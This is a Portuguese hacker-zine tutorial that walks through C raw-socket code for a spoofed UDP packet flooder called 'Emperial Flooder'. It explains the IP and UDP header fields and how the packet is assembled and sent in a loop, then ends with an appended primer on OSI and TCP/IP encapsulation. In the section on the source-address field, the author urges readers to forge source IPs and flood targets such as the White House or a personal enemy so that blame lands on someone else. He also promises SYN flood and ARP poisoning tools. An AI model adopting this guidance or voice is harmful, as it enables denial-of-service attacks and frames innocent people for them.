QUE RECEBEREM NOSSOS PACOTES, ENVIAREM OS MESMOS PARA UMA DETERMINADA ROTA =O). Podemos
utilizar essas tais flags p/:


[1] - Minimizar custo.
[2] - Minimizar atraso.
[3] - Maximizar desempenho.
[4] - Maximizar confiabilidade.


Nao vou entrar em detalhes sobre esse tema, falar sobre as flags neste txt retira o focu
principal do mesmo (Me diga algum texto que escrevi q nao perdeu o focu. rsrss... \O/!).
Ai ai, pena q esse negocio de ToS pode nao rolar como nos esperamos... \O/!!!



tot_len (Total length) - Tamanho/Comprimento total


ip_rlz.tot_len=htons (sizeof (struct iphdr) + sizeof (struct udphdr) +
strlen (msg)); <--- =7


Esse campo eh um tanto quanto "exagerado", voces vao entender. Bem, esse campo eh de 16
bits, isso seria o suficiente p/ representar o tamanho maximo d um pacote q pode trafegar
na internet (TCP/IP e tals), que eh de '65.535' bytes, isso dai em binario "realmente"
daria 16 bits pq a representacao binaria maxima para representar esse numero decimal eh
1111111111111111 que eh igual a 16 bits. Tabom, e dai? 65.535 bytes em 1 pacote zanzando
na internet eh meio que... dificil de achar? Tabom, eu explico, ja to ficando velho de
tanto repetir isso, mas...


La vamos nos MAIS UMA VEZ (O basicao do MTU, Aff!):


Os dispositivos de rede (Placa d rede por exemplo :) trabalham enviando e recebendo da-
dos, OO jura? rsrs Mas... Eles possuem um limite de dados que podem ser ENVIADOS e um
limite de dados que podem ser RECEBIDOS (Se for muito grande, ae nao da, porra, iii sai
pra la, eu sou espada :P), o que determina a quantidade de bytes Maxima q podem ser en-
viados (<-- ui) e q podem ser recebidos "por vez" eh chamado de MTU, que "Curiosamente"
significa Maximum Transmission Unit - "Unidade" (1 pacote ehhe =) de transMISSAO (Beijo
galera da 'trans'MISSAO =) maxima, bem, eu disse que esse nome era bem curioso, nao sei
porque eles colocaram esse nome :P rsrs... Deve ser porque condiz com a realidade. Esse
numero eh setado em bytes, e cada interface possui um MTU padrao. Vejamos alguns MTU's
default.


+---------------+-----------+
| Rede | MTU Bytes |
+---------------+-----------+
|PPP | 296 |
+---------------+-----------+
|x.25 | 576 |
+---------------+-----------+
|IEEE 802,3 | 1492 |
+---------------+-----------+
|Ethernet | 1500 | <--- Eu entendo bem desta aqui =)
+---------------+-----------+
|FDDI | 4352 |
+---------------+-----------+
|4Mb Token Ring | 4464 |
+---------------+-----------+
|16Mb Token Ring| 17914 |
+---------------+-----------+
|Hyperchannel | 65535 | <--- Unidade de transferencia maxima.
+---------------+-----------+ Mais que isso aqui, vai, dar, pau..:)


Fonte: Tech-FAQ (Me processem rsrs... =)


Vale lembrar que, NORMALMENTE, nos "podemos" alterar o MTU de nossa interface de rede se
assim quisermos. Enfim, se nos estivermos em uma rede Ethermet (eth0) e fizermos uma
aplicacao capaz de enviar dados atravez da rede, e esses dados por algum acaso excederem
o tamanho da MTU de nossa rede, os dados serao entregues em pedacos. Infelizmente para o
proposito de envio de datagramas, ultrapassar a MTU da rede nao eh uma boa, ou seja, UDP
nao faz gerenciamento de 'sequencia' de pacotes. Exemplo, se enviarmos um datagrama de
2000 bytes, ele sera' dividido em 2, ou seja, o pacote vai ser entregue em 2 "fragmentos"
tendo como tamanho d bytes para o primeiro, a taxa d transmissao (Envio) maxima permitida
pela rede. No recebimento eh o mesmo esquema. Isso foi o basico e nao estou "falando" de
nada "perigoso". Ei! Amigos! Esperem meu tao esperado ( ? ) texto sobre fragmentacao! Mas
acho que eu nao vou falar mais de MTU :( Creeedo! Para saber mais sobre 'MTU' faca isso:
Internet! (Felizardo! ¬¬). Recomendo q vc tambem procure meu texto sobre socket em C la
no dk, para ter mais algumas infos de fragmentacao e... MTU :P


Muito provavelmente voce ja ouviu falar que, o limite de um pacote eh de 65535 bytes, isso
se dar pelo fato de q, o seguimento tot_len no header IP eh de 16 bits! Tan dam! Surpresa!
Ei, eu ja falei isso ¬¬ Enfim! Ja q estamos relembrando o q escrevi a cinco linhas, pensem
bem... Humm... De q adianta esse seguimento ser de 16 bits se o diabo do MTU so manda 1500
bytes, tomando como base as redes Ethernet que misteriosamente sao maioria na internet...
Voce! eh, voce mesmo, vc que esta' olhando p/ o txt agora, voce sabia que voce pode estar
usando uma Interface/Placa d rede Ethernet? Naao? Pois eh, desses 65.535 bytes, vai passar
1.500 p/ a vitima, depois vai mais 1.500, etc.


( Entendeu porque nao eh muito viavel o 65.535 bytes? )


Isso eh, se for por TCP, tipo, ele vai, vai aos poucos, esses pedacos/fragmentos vao ser
remontados la na vitima, e tals, depois ela vai ter um pacotao inteirinho soh pra ela =),
mas... Se o envio for por UDP, fique preocupado cara, nao sabemos se o pacote vai chegar
inteiro se a fragmentacao rolar. Ja falei o porque...


PS: "NORMALMENTE" NOS PODEMOS CONFIGURAR NOSSOS MTU's, qual sera' o limite maximo? =)


Ei, vamos ver se voces sao espertos, vou fazer uma perguntinha. Ja que estamos trabalhando
com raw socket, temos que passar manualmente os dados de tamanho total (que vai ser em de-
cimal) para o campo tot_len (\O/! isso eh obvio) da struct do cabecalho IP, entao, ja que,
este campo tem que ter o tamanho "total" do pacote, quais os compos que temos que somar p/
passarmos para esse elemento da estrutura o valor total? Tick! Tack! Tick! Tack! Ti...

Se voce respondeu, Header IP + Header TCP/UDP + dados/payload... Ganhou um beijinho da ra-
posa mais velhaca do Brasil! Eu! Que viadagem... :P Sai pra la Huahuah! Porque? Putz, voce
nao viu o fonte lah em cima nao, cara? Repara como e q funciona o modelo TCP/IP. Manoh, p/
complementar, estude isso: --> wWw.hunterhacker.xpg.com.br/Encapsulamento_OSI_&_TCP-IP.txt
Ei (vc diZ)! Ei, como eu vou pegar o tamanho dos headers + dados? Simples cara, faca isso:


-- cut --

...

char dados[]="Ei ei ei, eu sou o payload!";

struct iphdr ip_rlz;
struct udphdr udp_rlz;

...

ip_rlz.tot_len=htons (sizeof (struct iphdr) + sizeof (struct udphdr) +
strlen (dados));

...

-- cut --


Voce nao precisa preencher os dados DAS ESTRUTURAS para poder passar o tamanho dos headers,
pois cada elemento das estruturas iphdr (IP) e tcp/udp - hdr (TCP - UDP) ja' possuem tama-
nhos pre-definidos (como voce ja sabe) e isso significa que podemos setar o 'tot_len' de
qualquer parte de nosso codigo (Eh recomendado antes de definir os dados :P - Se vc quiser
enviar dados ;). Agora voce deve estar se perguntando porque diabos nos precisamos definir
o tamanho total do pacote, bem, essa eh facil! Cada header tem um tamanho maximo, se estamos
programando em raw devemos inserir o tamanho total d cada header (ond sera q escrevi isso?),
entao isso significa que essas informacoes sao utilizadas no processo de desmultiplexacao do
datagrama, assim o host remoto sabe onde comeca e onde termina o header UDP por exemplo,
assim desmultiplexando apenas os bytes referentes a ele e depois mandando o payload para a
camada superior da pilha no modelo TCP/IP =) Ah!! Um pacote, pode conter dados, ou nao...
Muuuito facil =7






ID - Identificacao

ip_rlz.id=htons (666); <--- =7







TTL - Time to Live - Tempo de Vida


ip_rlz.ttl=255; <---- =7


Aqui esta uma paradinha engenhosa... Se este seguimento nao existisse quando algum es-
pertinho mandasse um pacote com um endereco IP de destino "inexistente", o router dele
enviaria o dito cujo, o proximo roteador iria passar p/ outro, o outro iria mandar p/
o outro, mas... Este IP nao existe, o que aconteceria? Teriamos varios roteadores jo-
gando o mesmo pacote p/ cima e p/ baixo procurando a melhor rota p/ a entrega rsrss...
Que burros :P Mas nao se preocupe, pois para evitar isso foi criado o seguimento TTL!
Eh bem simples de entender a utilidade dele rsrsr. Quando enviamos o nosso pacote com
o TTL 10 por exemplo, cada router por onde o nosso pacote passar vai retirar 1 desses
10 de TTL, ou seja, cada router vai tirar uma casquinha rsrs... Entao, p/ cada router
que o pacote passar, eh decrementado um neste seguimento, quando o valor de TTL chega
a '0' (zero) o pacote eh entao discartado e o remetente do pacote recebe um pacote
ICMP do tipo time exceeded (Tempo excedido), ou por TCP "ou" por UDP, ei! Isso signi-
fica q ambos os modulos de transporte encapsulam o (ICMP) mesmo =) Nao chegou a hora
de falarmos d ICMP agora, por isso saiba q eh emitido ao remetente do pacote um 'Time
exceeded' da vida. Por este seguimento ser de 8 bits, nos podemos especificar d 0 a no
maximo 255 em decimal, ou seja, este pacote nao chegara' a passar por 256 roteadores
nem com poder d reza brava, Clamp, Clamp, Clamp <- D onde diabos eu tirei esse negocio
de Clamp, Clamp?


Protocol - Protocolo


ip_rlz.protocol=IPPROTO_UDP; <--- =7


Equi q definimos o numero do protocolo q sera' utilizado. P/ saber o numero ID (Iden-
tificador) dos protocolos veja meu txt de socket:

Link: http://wWw.hunterhacker.xpg.com.br/socket_ohhh_yes.txt

ou veja esse file no linux: /etc/protocol ou ateh mesmo (se voce tiver no winsux!) ae
\windows\system32\drivers\etc\protocol . Enfim, IPPROTO_UDP ou 17, no caso do UDP :)
17 eh enviado com binario rapa', noosa q coisa nao? Para q especificar isso? Simples,
p/ ajudar na desmultiplexacao do datagrama (UDP. Nesse caso) na maquina remota. Quan-
do a vitima recebe o pacote o modulo IP na maquina dela vai verificar qual o protoco-
lo q aquele pacote trabalha, se o 'modulo IP' encontrar o numero 17 (10001) ele entao
vai mandar o pacote p/ o modulo UDP q esta' acima deste, se ele ler o numero 6 (110),
ele vai mandar p/ o modulo TCP, q esta' acima deste, os modulos TCP e UDP por sua vez
vao mandar o resto dos dados q nao foram desmultiplexados p/ a camada superior ( Pro-
gramas - Aplicacoes =). Espero q estes exemplos "basicos" estejam lhe ajudando... Eh
importante q vc tenha em mente q, quando mandamos 1 pacote e preenchemos manualmente
alguns d seus seguimentos, os tais vao ser desmultiplexados pelos seus respectivos
seguimementos "desmultiplexadores" no modulo correspondente, na maquina remota, ouuuu
seja, p/ escrever um pacote, o modulo IP usa uma face, p/ ler, este mesmo modulo vai
usar sua outra face. Imagine este modulo e o modulo TCP/UDP e afins, como uma moeda d
dois lados.


saddr - Source Address (Endereco de origem)


ip_rlz.saddr=inet_addr (ip_origeM); <--- =7


AAAAAAAAAAAAAAeeeeeeeeeeeeeeee!!!! Ta aqui a malandragem!!!!! Que tal voces mandarem
um pacotinho com o IP da White House? Ou mandar um pacotinho (ou centenas! }=) com o
IP daquele seu inimigo chato. Vc's sabiam que o hacking nos estados unidos eh consi-
derado terrorismo? Q bom saber q eu vou ser 1 dos mais famosos terroristas do mundo.
E Brasileiro! =7 Enfim, se voces estiverem nessas redondezas voces podem atacar uma
rede (Com o emperial flooder eheh) do servico secreto americano, forjando o endereco
'IP' de origem, os caras vao bater la na caso do "coitado" q voce usou o IP =7


daddr - Destination Address (Endereco de destinacao)


ip_rlz.daddr=inet_addr (ip_destinO); <--- =7


Aqui que especificamos o endereco da vitima. Quem vai receber o pacote. Soh p/ ser
um complemento maior, veja esse outro diagrama abaixo e veja a parte do codigo do
Emperial que organiza as coisas para tudo ficar de acordo com esse diagrama.


======---------=======--------=====
Ordem de desmultiplexacao e tals
======---------=======--------=====


Vamos entender agora a parte do codigo que mais confunde os iniciantes em raw socket, a tal
da ordem de "desmultiplexacao" do pacote. Bem, voce vera que nos primeiramente copiamos os
dados referentes a estrutura IP para a variavel 'pacote', em seguida copiamos os dados onde
contem os seguimentos p/ o modulo UDP e finalmente copiamos os dados/payload p/ o final do
pacote (Variavel) que sera' enviado ('sendto ()'). Lembrando q um pacote pode conter dados
ou nao e pode tanto trabalhar com o modulo TCP quanto com o modulo UDP (Este ultimo, sera'
o utilizado por nos aqui). Voce ira' entender o porque deste "Primeiramente" agora. Alguns
acham q ensinar isso eh tao obvio q chega a ser perda de tempo, nao eh bem assim. Nem todas
as pessoas possuem uma capacidade d interpretacao rapida, nem vou dizer inteligencia porque
no hacking, nao existe esssa de ser mais inteligente que o outro, apenas existe o lance de
imaginacao (Eu juro amigos!!), com imaginacao em poucos segundos nos intepretamos codigos
de diversas formas e em uma das formas pensadas sera a mais obvia (Esperiencia propria). Se
os textos filho da puta q eu li sobre raw socket, tivesem ensinado isso, com toda certeza
eu nao estaria me dando ao trabalho de ensinar agora. A minha meta eh transformar o Brasil
em um pais de hackers, e isso significa q meus irmaos terao tudo q nao existe no mercado =)
Eu apenas 'quero' dar a vc's Hackers Novatos, uma chance de ter o que eu nao tive e o q eu
nao tenho, em todos os sentidos, principalmente ao q se refere a "Conhecimento mastigado".


Let's go!



-------------------------
Application Layer
/\ Payload/Dados ---- > O ultimo dado desmultiplexado (payload).
/__\ -------------------------
|| Transporte
|| TCP - UDP - RAW ---- > Depois vem o modulo UDP (OU TCP) =7
|| -------------------------
|| Modulo IP ---- > Primeiramente o modulo IP, esta' vendo?
|| [Rede - OSI]
|| [Internet TCP/IP]
|| -------------------------
|| ---- > ARP - Addres Resolution Protocol
|| Data Link (Enlace)
|| -------------------------
PHYSICAL
Interface de rede
-------------------------



Ja que estamos criando uma aplicacao que envia dados, entao... Temos que fazer esses dados
emitidos por nos, serem desmultiplexados na ordem correta. Dizemos que um pacote esta sendo
desmultiplexado, quando a interface de rede (Placa de rede) da vitima, recebe o pacote, e
passa ele pilha acima ate fazer com que os dados sejam lidos pelo programa em execucao na
maquina, como vc pode ver acima. Quando nos enviamos um pacote, esse mesmo pacote vai ser
encapsulado, o nome q se da a esse ato eh multiplexacao. P/ maiores informacoes sobre esses
termos consulte o texto que escrevi sobre Berkeley Socket em C, a Parte 1 p/ ser mais exato.
Para encontra-lo juntamente com a parte II recomendo que voce procure o meu nick no google.

Enfim, vamos ao codigo:


[1] - memcpy (&pacote, &ip_rlz, sizeof (struct iphdr));
[2] - indice=indice + sizeof (struct iphdr);
[3] - memcpy (&pacote[indice], &udp_rlz, sizeof (struct udphdr));
[4] - indice+= sizeof (udp_rlz);
[5] - memcpy (&pacote[indice], msg, strlen (msg));
[6] - indice+= strlen (msg);


1 - Copia para o inicio da variavel "pacote" a estrutura iphdr.
2 - Usa a variavel indice p/ alocar corretamente os dados na variavel pacote.
3 - Aloca os dados da struct udphdr na variavel pacote, depois do header ip
4 - Cria um indice para organizar as coisas
5 - Copia os dados para o final do pacote
6 - Pega o tamanho total do pacote para ser usado no sendto, veja:


if ((XSS=sendto (SoCk, pacote, indice, 0, (struct sockaddr *)&Vitima,
sizeof (struct sockaddr_in)) ) == -1){
fprintf (stdout, "%s", strerror (errno));
exit (-1);}


Veja o "indice" no terceiro argumento da funcao sendto. Como voces sabem, ele indica a
quantidade de bytes que serao enviados atraves do socket, ou seja, o pacote completo.
Como voces podem ver estou utilizando a variavel 'indice', como indice d dados copiados p/
a variavel 'pacote', p/ fazer com q os dados sejam copiados exatamente um depois do outro,
vale lhes lembrar q dentro do buffer o primeiro dado possui um indice 0 (Claro que vc sabe
disso, voce programa em C, certo? Se nao, procurem meus textos sobre C e mais centenas de
outros txts por ai e comece a estudar C, agora! Isso eh uma ordem =). Eh a variavel pacote
que vai ser enviada e desmultiplexada, e, portanto ela eh o nosso pacote! "Basicamente" eh
isso amigo, devemos empacotar os dados na forma inversa da desmultiplexacao. Repare tambem
que preencho as respectivas estruturas dos headers utilizados e crio uma funcao que serah
chamada um determinado numero de vezes.


O numero de vezes que a funcao serah chamada:

for (x;x <= atoi (Matrix[6]);x+=1){
send_UDP ();
msg_s++;}

Funcao que envia dados:


void send_UDP (){

....
}

Acredito q isso seja facil de ser entendido. O resto do codigo eh o banner e umas outras
coisas que, se voce for programador em C, vc vai saber do q se trata. Agora vamos falar
do header UDP e seus seguimentos, ei, isso eh meio estranho de dizer, porque sao os se-
guimentos que compoem o header. Ei ei ei, mas voce pode interpretar de outra forma, eu
adoro a lingua portuguesa... \O/!


Cabecalho UDP

Defined in: /usr/include/netinet/udp.h


struct udphdr
{
u_int16_t source;
u_int16_t dest;
u_int16_t len;
u_int16_t check;
};


^-----------------------^-----------------------^
| - Porta de origem - | - Porta de destino - |
| [source] | [dest] |
| [ 16 bits ] | [ 16 bits ] |
+-----------------------+-----------------------+
| - Tamanho do header - | - checksum - |
| [len] | [check] |
| [ 2 bytes ] | [ 2 bytes ] |
+-----------------------+-----------------------+
| |
| - Dados - |
| (Explicacao com relacao ao tamanho adiante) |
| |
+-----------------------------------------------+


O tamanho aqui funciona normalmente, temos um short ( printf ("%d\n", sizeof (short)); )
que equivale a 2 bytes, para representar a porta, ou seja, o source (origem) equivale a
16 bits. Ja o endereco de host equivale a um unsigned long, 4 bytes, 32 bits, mas falar
isso deixa o texto "lame" :P Essa nao eh minha intencao, ateh porque voces nao sao "tao"
bgners assim, neh? Acho que voces lembram das aulas de 'Berkeley Socket'. Enfim, o dest
(destination) representa a porta d destino. A porta q o programa q vai receber os dados,
abriu no computador no outro lado do mundo ;) Ali vc pode ver o seguimento checksum q
infelizmente nao vou falar nesta edicao, pois esse assunto merece 1 capitulo soh p/ ele,
mas vale lhes lembrar q no header UDP nao se faz necessario a especificacao do mesmo. Se
voce for apressadinho (Tem que ser) va la no google e coloque lah a palavra 'checksum' e
mande brasa =) Vou logo adiantando q checksum corresponde a um algoritimo q checa a tal
"integridade" do cabecalho em questao e seus "dados". Teoricamente o 'campo/seguimento'
"dados", que pode "ou nao" conter dados, possui um tamanho limite de 65507 bytes. Ei!!
Pra quem nao sacou gostaria d dizer que esse "dados" ai, no caso de um chat por exemplo,
nesse caso se o chat for por UDP (Esquisito :P), eh referente as strings (ASCII) q estao
sendo "tecladas" (:P). Ateh mesmo pode ser requisicoes de HTTP (Por TCP - next edition )
e tals. Resumindo: O seguimento dados eh o nosso amigo "payload", que eh criado pelas
aplicacoes. Vamos voltar ao assunto do tamanaho da area dados no header 'UDP'. Voce vai
entender agora:


65507 bytes -- > Dados
8 bytes -- > O resto do header UDP


Lembram que um pacote no modelo 'TCP/IP' nao eh composto apenas por um header? Devemos
levar em conta tambem o header abaixo, que eh o IP. Que como vimos acima, "normalmente"
(Quando opcoes nao sao inclusas no pacote) possui um tamanho igual a 20 bytes. Entao...
Nos agora sabemos porque este campo pode conter no maximo 65507 bytes =) Faca as soma!!

65507 + 8 + 20 = 65535

Repare no resultado acima amigo ;] Verah o limite "maximo" (Meio complicado um monstro d
64k andando por ai) de um pacote zanzando na net. Ei ei ei, nao adianta nem lembrar pra
voces o esquema de MTU, neh? Vamos agora ver como eh que ta la no Emperial Flooder em
sua versao para Unix.

struct udphdr udp_rlz;

udp_rlz.dest=htons (port_destinO);
udp_rlz.source=htons (port_origeM);
udp_rlz.len=htons (sizeof (udp_rlz) + strlen (msg));


Bem, o dest e source voces ja sabem que equivale a porta de destino e a porta de origem,
respectivamente (source significa origem em portuga :P). O len ali eh equivalente ao tal
do tamanho do header, ou seja, aqui entra o tamanho do header 'UDP' mais os dados, "se"
ouverem dados! Bem, vou ficando por aqui com esse capitulo. Acho q deu p/ vc entender o
codigo fonte do Emperial Flooder v2.1 (Packet Crafter!) =7, um pouco de raw socket e um
"pouco" dos headers "IP" e "UDP". Na proxima edicao eu vou falar de mais headers, como o
TCP e ICMP, e so ai que poderemos comecar a falar de raw socket's "extreme", para o
desenvolvimento de ferramentas mais "crueis", como ferramentas emissoras de pacotes ARP
(Arp Poisoning), envio d flags especificas (Syn Flood e etc ;) e a tao temida, altamente
cruel -> "Fragmentacao de pacotes" }=) Um grande abraco e, a 'C.O.D.E' ainda nao acabou
galera, e nao vai acabar tao cedo =7 Continuem lendo =]


[]`s

by


6_Bl4ck9_f0x6 - Viper Corp Group


[]==xXx========[ ******* ]========xXx==[]
Encapsulamento de dados
OSI e TCP/IP
[]==xXx========[ ******* ]========xXx==[]


Thanks to:

Birkoff, MM, Placker, J.Augusto, BrunoSolar and all guys ISTF!

Obrigado especial (Meus maiores incentivos):

BSDaemon , VooDoo, ALIG_wicked, Nash Leon, Morticia, Cheat Struck.

Obrigado ae por voces existirem...=)


=X=======X=======X=======X=======X=======X=======X=======X=

-> Vamos clarear as ideias antes de começarmos... OK? <-

NESTE TEXTO VENHO TENTAR EXPLICAR DE UMA FORMA "GERAL"
O PROCESSO DE ENCAPSULAMENTO USANDO COMO BASE O MODELO
OSI, "APLICANDO EXEMPLOS DAS CAMADAS OFERECIDAS PELO
MODELO AO PROTOCOLO 'TCP/IP' =)"
. COMO OS MAIS EXPERIENTES
SABEM O PROTOCOLO TCP/IP DISPÕE DE UM MODELO DE 4 CAMADAS
APENAS, QUE SÃO:

Camadas do modelo TCP/IP

* APLICAÇÃO
* TRANSPORTE
* INTERNET
* ACESSO A REDE

AS CAMADAS 6 E 5 DO MODELO 'OSI' SÃO INSERIDAS PELAS
PROPRIAS APLICAÇÕES DE REDE (camada 7 - OSI) NO TCP/IP, MAS
EU CONSEGUI EXPLICAR APLICANDO TODAS AS CAMADAS DO MODELO
OSI AO PROTOCOLO TCP/IP =). Como? Simples, eh so pensar que
as diferencas impostas por esse bando de doido da CISCO entre
os modelos citados E' NA VERDADE FRESCURA!!!!

OBS: Alguem da Cisco disse:

"Embora algumas das camadas no modelo TCP/IP tenham os mesmos nomes
das camadas no modelo OSI, as camadas dos dois modelos não correspondem
exatamente. Mais notadamente, a camada de aplicação tem diferentes
funcoes em cada modelo."


Repare neste trecho:

"nao correspondem 'EXATAMENTE'"

Esse 'nao exatamente' eh revelador irmão de hacking...:) Isso significa que não
são necessariamente iguais por conta de algumas funções que foram englobadas
na camada de aplicação no modelo TCP/IP, nada mais. So para confirmar o
que estou lhes dizendo:

"Os projetistas do TCP/IP decidiram que os protocolos de mais alto nível deviam
incluir os detalhes da camada de sessão e de apresentação do OSI. Eles
simplesmente criaram uma camada de aplicação que trata de questões de
representação, codificação e controle de diálogo."


Onde:

Representação -> Encapsulamento de payload
Codificação -> Aprensentação - OSI
Controle de dialogo -> Sessao - OSI

Torno a repetir amigo: OS CARAS FALARAM QUE NAO CORRESPONDE
EXATAMENE PORQUE NO MODELO TCP/IP SAO AS APLICACOES
QUE FAZEM O TRABALHO DAS CAMADAS 6 E 5.

Existe também a questão da camada de 'Acesso a rede' no modelo TCP/IP.
Vejam o ultimo trecho extraido da documentação oficial para a certificação
'Cisco' que será mostrado neste documento.

"O significado do nome da camada de acesso à rede é muito amplo e um pouco
confuso. É também conhecida como a camada host-para-rede. Esta camada lida
com todos os componentes, tanto físico como lógico, que são necessários para
fazer um link físico. Isso inclui os detalhes da tecnologia de redes, inclusive
todos os detalhes nas camadas física e de enlace do OSI."


Por favor senhores, não deixem de notar neste trecho:

"todos os detalhes nas camadas física e de enlace do OSI."

Leiam o contexto de onde este trecho foi extraido e verão que a camada de
acesso a rede no TCP/IP (Claro, pois não existe essa camada no OSI) ficou
encarregada de englobar as camadas de 'Enlace' e 'Física', camadas 2 e 1
respectivamente (numeradas de acordo com outro documento que possuo)
pertencentes ao modelo OSI.

Tabom, mas porque voce esta dizendo isso? Bem, so estava tentando lhe
alertar que eu simplifiquei tudo, deixei o texto bem intuitivo para quem quer
estudar para a certificação e acha o material disponibilizado pela cisco um
tanto quanto "complexo".

=X=======X=======X=======X=======X=======X=======X=======X=

Matando dois coelhos com um tiro soh.
Conceitos -> "Basicos" <- de encapsulamento

Hi! Agora vamos falar de um assunto de extrema importancia para todos
aqueles que um dia querem ser chamados de Elit3, vou falar agora do tal
encapsulamento de dados. Esse assunto naum eh nenhuma novidade, mas
para quem ainda nao sabe recomendo que leia, pois escrevi esse texto para
vc's bgner's. Bem, como vc muito provavelmente deve saber, as maquinas
na internet se comunicam pelo envio de pacotes de dados, um pacote eh
basicamente composto por header e payload, sendo que nos headers é
onde estão armazenados diversos tipos de dados, tais como: O endereço
do remetente, endereço do host de destino, etc. O payload eh o que existe
dentro do pacote, ou seja, todo 'conteudo' (Recheio) eh chamado de
payload. Nesse's payloads podem conter shellcodes e tals...:) O que um
sniffer faz necessariamente eh exibir o conteudo de um pacote depois de
retirar sua "capa" (header) para pegar o payload do pacote e lhe
apresentar o mesmo. Basicamente eh isso manoh, mas vamos ir mais alem.

Entendendo a pilha do modelo OSI

Todo esse processo (Encapsulamento) se da atraves de camadas, essas tais
camadas que compoem uma pilha, logo + vc entendera o porque da 'pilha'.
Quando um pacote entra no kernel do seu sistema ele vai ser desencapsulado
na ordem inversa da que foi encapsulado, achu que uma ilustração seria
uma boa agora manoh:

Camadas de encapsulamento do modelo OSI

--==================--
* 7 * - Aplicação
* 6 * - Apresentação
* 5 * - Sessão
* 4 * - Transporte
* 3 * - Rede
* 2 * - Enlace
* 1 * - Física
--==================--

Antes de falarmos sobre cada camada descrita acima, vamos a uma breve
introdução ao modelo OSI. O modelo de referencia OSI - Open Systems
Interconnection -> Sistemas de interconexão aberta, surgiu com a necessidade
do desenvolvimento de um protocolo 'PADRÃO' para comunicação entre redes.
O negocio vai ficar mais claro agora manoh, relaxa.

Antigamente as redes utilizavam os chamados protocolos específicos ou
tecnicamente falando, protocolos proprietarios, que nada mais eram que
protocolos utilizados apenas em uma determinada rede e eram pagos. Se um
administrador de rede implementase algum protocolo proprietario em sua rede,
a comunicação so seria possivel com outras redes rodando sobre o mesmo
protocolo. Ao meu ver o mais famoso protocolo proprietario eh o IPX/SPX
da Novell, esse protocolo foi desenvolvido para comunicação entre maquinas
rodando sobre a plataforma 'Novell Netware'. Antigamente o negocio era tão
feio que se alguem comprase um dispositivo de rede (Placa de rede) de uma
empresa, ele não poderia utilizar um protocolo de comunicação feito por outra.
Vale lembrar para vc's que o modelo OSI não eh de forma alguma um protocolo
e sim o "modelo", vejamos um exemplo. Esse modelo que foi desenvolvido pela
ISO -> International Organization for Standardization, Organização Internacional
para padronização. Veja bem no nome da empresa e tente adivinhar a sua real função,
achu que fica + claro a cada minuto ;) A ISO foi fundada em 1947 (Ei! Eu num
tinha nem nacido ainda :P) e conta com representantes de mais de 100 paises e
é uma empresa que tem como principal meta desenvolver 'padrões' para a
'industria'. Então podemos dizer que essa empresa falou:

Gente! Apartir de agora voces vão fazer assim e assado para acabar com essa
putaria de protocolo proprietario que prejudica o cliente caso ele tenho gostado
de um periferico desenvolvido pela Novell mas quer usar outro protocolo de
comunicação que não seja o IPX/SPX. Sigam esse modelo aqui!!!

Apartir dai o povo começou a desenvolver protocolos baseado nesse modelo, fim.
Bem, não eh tão verdade assim porque ainda existem protocolos que não seguem
a risca o modelo, talvez porque alguns foram desenvolvidos antes das especificações
do modelo OSI, outros porque os fabricantes simplesmente não tavam afim e outros
porque atingem objetivos especificos.
Como voce reparou o modelo OSI especifica que o encapsulamento de dados
deveria ter por padrão 7 camadas. As coisas eram para acontecer dessa maneira:

---------------

* 7 * - Aplicação -> Esta eh a primeira camada, é aqui a camada responsavel por
criar o pacote. Diz respeito as aplicações que solicitaram uma conexão. Um bom
exemplo de construtores desta camada, são seus browser's, como o firefox, Opera,
IE, etc. Quando voce digita uma URL no seu browser e tecla [Enter],
automaticamente o browser vai inserir dados (payload) para a conexão com o host
remoto dentro de um header, assim criando um "pacote" composto por casca
(header) e recheio (payload), depois desta camada, o pacote eh empurrado pilha
abaixo e vai passar agora para a proxima camada (Tentem não achar que o pacote
vai para a camada de 'Apresentação' 'no TCP/IP', porque no modelo TCP/IP esta
camada não passa de uma função, pois foi englobada na camada de aplicação,
leia com atenção a proxima camada que garanto que entenderas amigos =).

OBS: Para uma melhor compreensão siga as ilustrações.
Veja o '=====' como o header do pacote.

==============
Payload1/Dados --- > Pacote se formando.
==============
---------------

* 6 * - Apresentação -> "Teoricamente" falando esta camada serve para prepar os
dados que serão enviados (isso ainda no host local, obvio) convertendo os mesmos
em um formato compativel com os procedimentos de transporte. Em muitos livros
que ja li os escritores apenas ensinam algumas camadas e pronto, assim discartando
algumas outras que podemos chamar de -> Inuteis, mas porque? Porque eles falam
de camadas e não de funções das camadas (eheh), porque esta camada no OSI
virou função no TCP/IP, ou seja, NA PRATICA a 'Apresentação' ja' eh inserida
na aplicação (Estou falando do TCP/IP). Voces se lembram que esta camada
transforma os dados que serão enviados em um formato compativel com o
procedimento de transporte (Claro voce acabou de ler -.-)? Ta bom, tabom,
porque eu perguntei se vc lembra se não faz nem 5 linhas que eu disse isso?
Simples, para voce entender melhor =) Use a logica amigo. Se nesta camada
(No OSI. Função no TCP/IP) ele converte os dados para que os mesmos sejam
compativeis com o processo de "transporte", então quando recebermos o mesmo
esta mesma camada vai fazer com que o pacote que foi convertido em um formato
compativel com os procedimentos de transporte...:) voute a ser o que ele era antes,
pois o pacote ja chegou. Assim ele vai entregar os dados ja' convertidos para a
aplicação de rede (OSI), mas como voces sabem ele não vai "entregar" para a
camada de aplicação NO TCP/IP, porque no TCP/IP ele vai converter os dados
"na" camada de aplicação, lembram que esta função ("No TCP/IP") na pratica ja eh
inserida "na" aplicação? Eu sou ou não sou o professor do ano ;)

---------------

* 5 * - Sessão -> Camada responsavel por estabelecer uma conexão entre dois hosts.
Esta camada tambe'm eh responsavel pelo CONTROLE da comunicação entre as
aplicações que estão em execução nas maquinas. No TCP/IP esta camada ja eh
inserida nas aplicações de rede.

---------------

* 4 * - Transporte -> Nesta camada que definimos como o nosso pacote vai
ser 'guiado' pelo protocolo IP (Protocolo responsavel pelo roteamento
de pacotes na internet). Uma determinada aplicação (Software's)
poderia utilizar o UDP ou poderia utilizar o famoso TCP. Acho que vcs
devem saber o que é TCP e UDP, aqui estou falando de encapsulamento...

=======
TCP --- > Cabeçalho TCP encapsulando
==============
Payload1/Dados
==============
=======
---------------

* 3 * - Rede -> Aqui que os sonhos acontecem ^^. Nesta camada que
eh inserido ao header TCP ou UDP do pacote, um header com o
protocolo IP que vai ser o encarregado de transportar os dados. No
modelo TCP/IP esta camada equivale a camada 'Internet'.

Lembre-se que podemos forjar o endereço de origem usando crafters...:)



==============
IP/Internet Protocol --- > Encapsulando o header IP ao Hd TCP do pacote.

==============
TCP
==============
Payload1/Dados
==============
==============
==============

* 2 * - Enlace -> Camada responsável pela comunicação entre duas interfaces
em uma mesma rede. O trabalho de receber e entregar o pacote para uma
determinada interface de rede fica com essa camada ;) Cada dispositivo de
